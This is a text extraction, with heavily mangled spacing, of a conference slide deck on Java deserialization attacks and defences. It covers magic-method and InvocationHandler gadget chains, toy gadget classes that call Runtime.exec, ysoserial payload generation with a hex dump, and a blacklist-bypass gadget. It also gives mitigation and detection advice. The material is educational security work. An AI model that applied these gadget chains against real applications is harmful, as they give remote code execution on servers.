51
Java Deserializa,on A0acks Angriff & Verteidigung 1 Christian Schneider, @cschneider4711 Alvaro Muñoz, @pwntester (in Absentia)

Java Deserializaon A0acks - OWASP · Java Deserializaon A0acks Angriff & Verteidigung 1 Christian Schneider, @cschneider4711 Alvaro Muñoz, @pwntester (in Absentia)

  • Upload
    others

  • View
    5

  • Download
    0

Embed Size (px)

Citation preview

JavaDeserializa,onA0acksAngriff&Verteidigung

1

ChristianSchneider,@cschneider4711

AlvaroMuñoz,@pwntester(inAbsentia)

AboutMe

`whoami`– Developer,WhitehatHacker&Trainer– Freelancersince1997– FocusonJavaEE&WebSecurity– SpeakeratConferences– @cschneider4711– www.ChrisPan-Schneider.net

Howmanyarefamiliarwithwhatthiscodedoes?

Howmanyofyouknowtherisksassociatedwithdeserializinguntrusteddata?

Howmanyofyouknowhowtoexploitthisasa remotecodeexecuPon(RCE)?

QuickPoll

InputStream is = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(is);ois.readObject();

JavaSerializaPon

4

Takingasnapshotofanobjectgraphasabytestreamthatcanbeusedtoreconstructtheobjectgraphtoitsoriginalstate

• Onlyobjectdataisserialized,notthecode

• ThecodesitsontheClassPathofthe(de)serializingend

Object Graph Object Graph

A[ackSurface

5

UsagesofJavaserializationinprotocols/formats/products:– RMI(RemoteMethod

Invocation)– JMX(JavaManagement

Extension)– JMS(JavaMessaging

System)

– SpringServiceInvokers• HTTP,JMS,RMI,etc.

– Android– AMF(ActionMessage

Format)– JSFViewState– WebLogicT3– LDAPResponses– …

A[acksviainternalinterfaces

6

Attacker

User

Application Server

Web Browser

https

replication

replication

Backend Server

RMI, JMS, etc.

Application Server

Application Server

RMI, JMS, etc.

RMI, JMS, etc.

A[acksviaexternalinterfaces

WhenJavaserializaPondataisreadbackfrom client(browser)viaCookiesetc.

7

Web Browser

Application ServerAttacker

User

https

https

CustomizaPonofJavaSerializaPon

• DeveloperscancustomizethisserializaPon/deserializaPonprocess– IndividualobjectserializaPonvia.writeObject()/.writeReplace()/.writeExternal()

– Individualobjectre-construcPonondeserializingendvia.readObject()/.readResolve()/.readExternal()

8

TriggeringExecuPonvia"MagicMethods"

Serializable Class

6. Restore object member fields• readObject(ObjectInputStream) • readObjectNoData()

7. Eventually replace restored object• readResolve()

8. Optionally validate object• validateObject()

9.Cast deserialized object to expected type10.Use deserialized object

ObjectInputStream Application Code Garbage Collector

11.Call finalize() on GC

1. Get bytes2. Initialize ObjectInputStream3. Read object from stream

• ois.readObject()4. Resolve classes of stream resolveClass()

5. Deserialize objects

Serializable Class

6. Restore object member fields• readObject(ObjectInputStream) • readObjectNoData()

7. Eventually replace restored object• readResolve()

8. Optionally validate object• validateObject()

9.Cast deserialized object to expected type10.Use deserialized object

ObjectInputStream Application Code Garbage Collector

11.Call finalize() on GC

1. Get bytes2. Initialize ObjectInputStream3. Read object from stream

• ois.readObject()4. Resolve classes of stream resolveClass()

5. Deserialize objects

TriggeringExecuPonvia"MagicMethods"

ExploiPng"MagicMethods"

• Abusing"magicmethods"ofgadgetswhichhavedangerous/riskycode:– A[ackercontrolsmemberfields’valuesofserializedobject

– UpondeserializaPon.readObject()/.readResolve() isinvoked

• ImplementaPonofthismethodingadgetclassusesa0acker-controlledfields…

• …andisinfluencedinthewaya[ackerdesires…;)

11

More"MagicMethods"

• Asidefromtheclassiconesalsolesser-known"magicmethods"help:– .validateObject()aspartofvalidaPon (whichdoesnotpreventa[acks)

– .readObjectNoData()upondeserializaPonconflicts– .finalize()aspartofGC(evenalererrors)

• withdeferredexecuPonbypassingad-hocSecurityManagersatdeserializaPon

• WorksalsoforExternalizable’s.readExternal()

12

ToyExample

13

public class DangerousToy implements Serializable {private String command;

public final Object readObject(ObjectInputStream ois) throws OptionalDataException, ClassNotFoundException, IOException {ois.defaultReadObject();Runtime.getRuntime().exec(command);

}}

forexamplecalc.exe

WhatifthereisnointeresPngcode reachedbymagicmethods?

14

ProxywithInvocaPonHandler asCatalyzer

15

Class

field1 field2

… method1 method2

Interface

method1 method2

Invocation Handler

Custom code

method2

Proxy

ExploiPngInvocaPonHandler(IH)Gadgets

• A[ackerstepsuponserializaPon:– A[ackercontrolsmemberfieldsofIHgadget,whichhasdangerouscode– IH(aspartofDynamicProxy)getsserializedbya[ackerasfieldonwhichan

innocuousmethodiscalledfrom"magicmethod"(ofclasstodeserialize)

• ApplicaPonstepsupondeserializaPon:– "MagicMethod"of"TriggerGadget"callsinnocuousmethodonan

a0ackercontrolledfield– Thiscallisinterceptedbyproxy(setbya[ackerasfield)anddispatchedtoIH

• OtherIH-liketypesexistasidejava.lang.reflect.InvocaPonHandler– javassist.uPl.proxy.MethodHandler– org.jboss.weld.bean.proxy.MethodHandler

16

ToyExample:TriggerGadget

17

public class TriggerGadget implements Serializable {private Comparator comp;

public final Object readObject(ObjectInputStream ois) throws Exception {ois.defaultReadObject();comp.compare("foo", "bar");

}}

Attacker controls this field, so it can set it to anything implementing java.util.Comparator … anything, even a Proxy

Proxy will intercept call to “compare()” and dispatch it to its Invocation Handler

ToyExample:DangerousIH

18

public class DangerousHandler implements Serializable, InvocationHandler {private String command;

public Object invoke(Object proxy, Method method, Object[] args) {Runtime.getRuntime().exec(command);

}}

Payload execution

RCEgadgetinBeanShell(CVE-2016-2510)

• bsh.XThis$Handler• Serializable• InvocaPonHandler• UponfuncPonintercepPoncustomBeanShellcodewillbecalled

• AlmostanyJavacodecanbeincludedinthepayload• InordertoinvokethepayloadatriggergadgetisneededtodispatchtheexecuPontotheInvocaPonHandlerinvokemethod

19

RCEgadgetinBeanShell(CVE-2016-2510)

20

PayloadGenerator"ysoserial"

• ysoserialby@frohoff&@gebl—anexcellenttool!• Commandlineinterface(CLI)• Generatesserializedformofpayloadwithgadgetchain

• Containsmanycurrentknowngadgets– Newergadgetshavebeensubmi[edasPRs

• TheJavaDeserializa.onExploita.onTool– h[ps://github.com/frohoff/ysoserial

21

Gadgetsavailableinysoserial

22

java -jar ysoserial.jar Y SO SERIAL?Usage: java -jar ysoserial.jar [payload type] '[shell command to execute]' Available payload types: BeanShell

C3P0 CommonsBeanutils CommonsCollections FileUpload Groovy Hibernate JRMPClient JRMPListener JSON Jdk7u21 Jython Myfaces ROME Spring…

PayloadgeneraPonviaysoserial

23

java -jar ysoserial.jar BeanShell 'calc' | xxd0000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.uti 0000010: 6c2e 5072 696f 7269 7479 5175 6575 6594 l.PriorityQueue. 0000020: da30 b4fb 3f82 b103 0002 4900 0473 697a .0..?.....I..siz 0000030: 654c 000a 636f 6d70 6172 6174 6f72 7400 eL..comparatort. 0000040: 164c 6a61 7661 2f75 7469 6c2f 436f 6d70 .Ljava/util/Comp 0000050: 6172 6174 6f72 3b78 7000 0000 0273 7d00 arator;xp....s}. 0000060: 0000 0100 146a 6176 612e 7574 696c 2e43 .....java.util.C 0000070: 6f6d 7061 7261 746f 7278 7200 176a 6176 omparatorxr..jav 0000080: 612e 6c61 6e67 2e72 6566 6c65 6374 2e50 a.lang.reflect.P 0000090: 726f 7879 e127 da20 cc10 43cb 0200 014c roxy.'. ..C....L 00000a0: 0001 6874 0025 4c6a 6176 612f 6c61 6e67 ..ht.%Ljava/lang 00000b0: 2f72 6566 6c65 6374 2f49 6e76 6f63 6174 /reflect/Invocat 00000c0: 696f 6e48 616e 646c 6572 3b78 7073 7200 ionHandler;xpsr. 00000d0: 1162 7368 2e58 5468 6973 2448 616e 646c .bsh.XThis$Handl

MiPgaPonAdvices

24

MiPgaPonAdvice#1

25

RemoveGadget

TonsofGadgets

• SpringAOP(byWouterCoekaertsin2011)

• Firstpublicexploit:(by@pwntesterin2013)

• Commons-fileupload(byArunBabuNeelica[uin2013)

• Groovy(bycpnrodzc7/@frohoffin2015)

• Commons-CollecPons(by@frohoffand@geblin2015)

• SpringBeans(by@frohoffand@geblin2015)

• SerialDoS(byWouterCoekaertsin2015)

• SpringTx(by@zerothinkingin2016)

• JDK7(by@frohoffin2016)

• BeanuPls(by@frohoffin2016)

• Hibernate,MyFaces,C3P0,net.sf.json,ROME(byM.Bechlerin2016)

• Beanshell,Jython,lotsofbypasses(by@pwntesterand@cschneider4711in2016)

• JDK7Rhino(by@ma[hias_kaiserin2016)

• …

26

MiPgaPonAdvice#1

27

RemoveGadget

MiPgaPonAdvice#2

AdHocSecurityManager

28

InputStream is = request.getInputStream();// Install Security ManagerSystem.setSecurityManager(new MyDeserializationSM());// Deserialize the dataObjectInputStream ois = new ObjectInputStream(ois);ois.readObject();// Uninstall (restore) Security ManagerSystem.setSecurityManager(null);

A[ackerscandeferexecuPon:•finalize()method•Playwithexpectedtypes(i.ereturnvalidtypesforthecastwhichfirelater)

Ifyoucanuninstall/restoretheSecurityManagerorrefreshthepolicy,a[ackersmightbeabletodoitaswell

MiPgaPonAdvice#2

AdHocSecurityManager

29

InputStream is = request.getInputStream();// Install Security ManagerSystem.setSecurityManager(new MyDeserializationSM());// Deserialize the dataObjectInputStream ois = new ObjectInputStream(ois);ois.readObject();// Uninstall (restore) Security ManagerSystem.setSecurityManager(null);

A[ackerscandeferexecuPon:•finalize()method•Playwithexpectedtypes(i.ereturnvalidtypesforthecastwhichfirelater)

Ifyoucanuninstall/restoretheSecurityManagerorrefreshthepolicy,a[ackersmightbeabletodoitaswell

MiPgaPonAdvice#3

30

DefensiveDeserializaPonclass DefensiveObjectInputStream extends ObjectInputStream {

@Overrideprotected Class<?> resolveClass(ObjectStreamClass cls) throws IOException,

ClassNotFoundException {

String className = cls.getName();

if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) { throw new InvalidClassException("Unexpected serialized class", className); }

return super.resolveClass(cls);}

}

BypassingDeserializaPonBlacklists

• Newgadgettypetobypassad-hoclook-aheadObjectInputStreamblacklistprotecPons:

• DuringdeserializaPonoftheobjectgraph,anewimmaculateunprotectedObjectInputStreamwillbeinstanPated

• A[ackercanprovideanyarbitrarybytesforunsafedeserializaPon

• BypassdoesnotworkforcaseswhereObjectInputStreamisinstrumented31

public class NestedProblems implements Serializable { private byte[] bytes … ; … private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); ois.readObject(); } }

Isthisforrealorjustfantasy?

32

Currentlywefoundmanybypassgadgets:

JRE:2

ThirdPartyLibraries

Apachelibraries: 6Springlibraries: 1Otherpopularlibraries: 2

SerialKiller:BypassGadgetCollec,on:h[ps://github.com/pwntester/SerialKillerBypassGadgetCollecPon

Applica.onServers

WildFly(JBoss): 2IBMWebSphere: 15OracleWebLogic: 5ApacheTomEE: 5ApacheTomcat: 2OracleGlassFish: 2

Example:BypassAdHocSecurityManagerandBlacklists

33

javax.media.jai.remote.SerializableRenderedImagefinalize() > dispose() > closeClient()

1 private void closeClient() { 2 3 // Connect to the data server. 4 Socket socket = connectToServer(); 5 6 // Get the socket output stream and wrap an object 7 // output stream around it. 8 OutputStream out = null; 9 ObjectOutputStream objectOut = null; 10 ObjectInputStream objectIn = null; 11 try { 12 out = socket.getOutputStream(); 13 objectOut = new ObjectOutputStream(out); 14 objectIn = new ObjectInputStream(socket.getInputStream()); 15 } catch (IOException e) { ... } 16 objectIn.readObject(); …

MiPgaPonAdvice#3

34

DefensiveDeserializaPonclass DefensiveObjectInputStream extends ObjectInputStream {

@Overrideprotected Class<?> resolveClass(ObjectStreamClass cls) throws IOException,

ClassNotFoundException {

String className = cls.getName();

if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) { throw new InvalidClassException("Unexpected serialized class", className); }

return super.resolveClass(cls);}

}

Whataboutother languagesontheJVM?

35

Scala&Groovy

36

import java.io._object SerializationDemo extends App {

val ois = new ObjectInputStream(new FileInputStream(“exploit.ser")) val o = ois.readObject()ois.close()

}

import java.io.*File exploit = new File('exploit.ser')try {

def is = exploit.newObjectInputStream(this.class.classLoader)is.eachObject { println it }

} catch (e) { throw new Exception(e) } finally { is?.close() }

Sourcecode:https://github.com/pwntester/JVMDeserialization

Whattodothen?

37

HowtoHardenYourApplicaPons?

38

DONOTDESERIALIZEUNTRUSTEDDATA!!

Whenarchitecturepermitsit:

– Useotherformatsinsteadofserializedobjects:JSON,XML,etc.

• ButbeawareofXML-baseddeserializationattacksviaXStream,XmlDecoder,etc.

Assecond-bestoption:

Usedefensivedeserializationwithlook-aheadOISwithastrictwhitelist

• Don’trelyongadget-blacklistingalone!

• YoucanbuildthewhitelistwithOpenSourceagentSWAT (SerialWhitelistApplicationTrainer:https://github.com/cschneider4711/SWAT)

• Consideranagent-basedinstrumentingofObjectInputStream(tocatchthemall)

• Scanyourownwhitelistedcodeforpotentialgadgets

• StillbeawareofDoSscenarios

FindingVulnerabiliPes&

GadgetsintheCode

39

FindingdeserializaPonendpoints

40

• CheckyourendpointsforthoseaccepPng(untrusted)serializeddata• Findcallsto:

• ObjectInputStream.readObject()• ObjectInputStream.readUnshared()

• …whereInputStreamisa[acker-controlled.Forexample:

• …andObjectInputStreamisorextendsjava.io.ObjectInputStream• …butisnotasafeone(eg:Commons-ioValidaPngObjectInputStream)

• Mayhappeninlibrarycode.Eg:JMS,JMX,RMI,Queues,Brokers,SpringHTTPInvokers,etc…

InputStream is = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(is);ois.readObject();

FindinggadgetsinaHaystack

41

• CheckyourcodeforpotenPalgadgets,whichcouldbeusedindeserializaPon:

Lookforinteres,ngmethodcalls…java.lang.reflect.Method.invoke()java.io.File()java.io.ObjectInputStream()java.net.URLClassLoader()java.net.Socket()java.net.URL()javax.naming.Context.lookup()…

…reachedby:java.io.Externalizable.readExternal()java.io.Serializable.readObject()java.io.Serializable.readObjectNoData()java.io.Serializable.readResolve()java.io.ObjectInputValidaPon.validateObject()java.lang.reflect.InvocaPonHandler.invoke()javassist.uPl.proxy.MethodHandler.invoke()org.jboss.weld.bean.proxy.MethodHandler.invoke()java.lang.Object.finalize()<clinit>(sta.cini.alizer).toString(),.hashCode()and.equals()

WhattoCheckDuringPentests?

42

DeserializaPonEndpointDetecPon

Findrequests(oranynetworktraffic)carryingserializedJavaobjects:• Easytospotduetomagicbytesatthebeginning:0xAC0xED…• Someweb-appsmightuseBase64tostoreserializeddata

inCookies,etc.:rO0AB…• Beawarethatcompressioncould’vebeenappliedbeforeBase64

• 0x1F8B0x0800…• H4sIA…

Forac,vescans:• Don’trelyonspecificgadgetclasses(mightbeblacklisted)• Be[erusegenericdenial-of-servicepayloadsandmeasurePming

• SerialDOS(byWouterCoekaerts),jInfinity(byArshanDabirsiaghi), OIS-DOS(byTomášPolešovský),etc.

43

DeserializaPonEndpointDetecPon

Tools:

• UsecommercialorfreescannerslikeZAP/Burp–withpluginssuchasSuperSerialtopassivelyscanforJavaserializaPon

• AlsothinkofmassscanningofserverendpointswithscriptslikeSerializeKiller

• UseWireSharkfornetworktraffic

• IfallowedtoinstrumenttheappuserunPmeagentssuchasSWATtofindoutifanythinggetsdeserialized

44

Q&A/ThankYou!…andremember:

DONOTDESERIALIZEUNTRUSTEDDATA!

45

ChristianSchneider,@cschneider4711,[email protected]ñoz,@pwntester,[email protected]

FAQ: https://Christian-Schneider.net/JavaDeserializationSecurityFAQ.html

Whitepaper: https://community.hpe.com/t5/Security-Research/The-perils-of-Java-deserialization/ba-p/6838995

BACKUP

46

ApacheCommons-IOValidaPngObjectInputStream(2.5)

47

ApacheCommons-IOValidaPngObjectInputStream(2.5)

48

WhitelistConfigura,on

DoNOTuseblacklists!

BestsoluPon?☺

49

Status:Closed/Withdrawn

FutureLooksBright

50

Status:Targeted

JEP-290:What‘sinitforus?

"Provideaflexiblemechanismtonarrowtheclassesthatcanbedeserializedfromanyclassavailabletoanapplica.on,downtoacontext-appropriatesetofclasses."

Whitelistdefensivedeserializa,on

"Providemetricstothefilterforgraphsizeandcomplexityduringdeserializa.ontovalidatenormalgraphbehaviors."

DenialofServicemi,ga,on

"ProvideamechanismforRMI-exportedobjectstovalidatetheclassesexpectedininvoca.ons."

SecureRMI

"Thefiltermechanismmustnotrequiresubclassingormodifica.ontoexis.ngsubclassesofObjectInputStream."

Backwardscompa,ble,catch‘emall!

"Defineaglobalfilterthatcanbeconfiguredbyproper.esoraconfigura.onfile."

Configurable51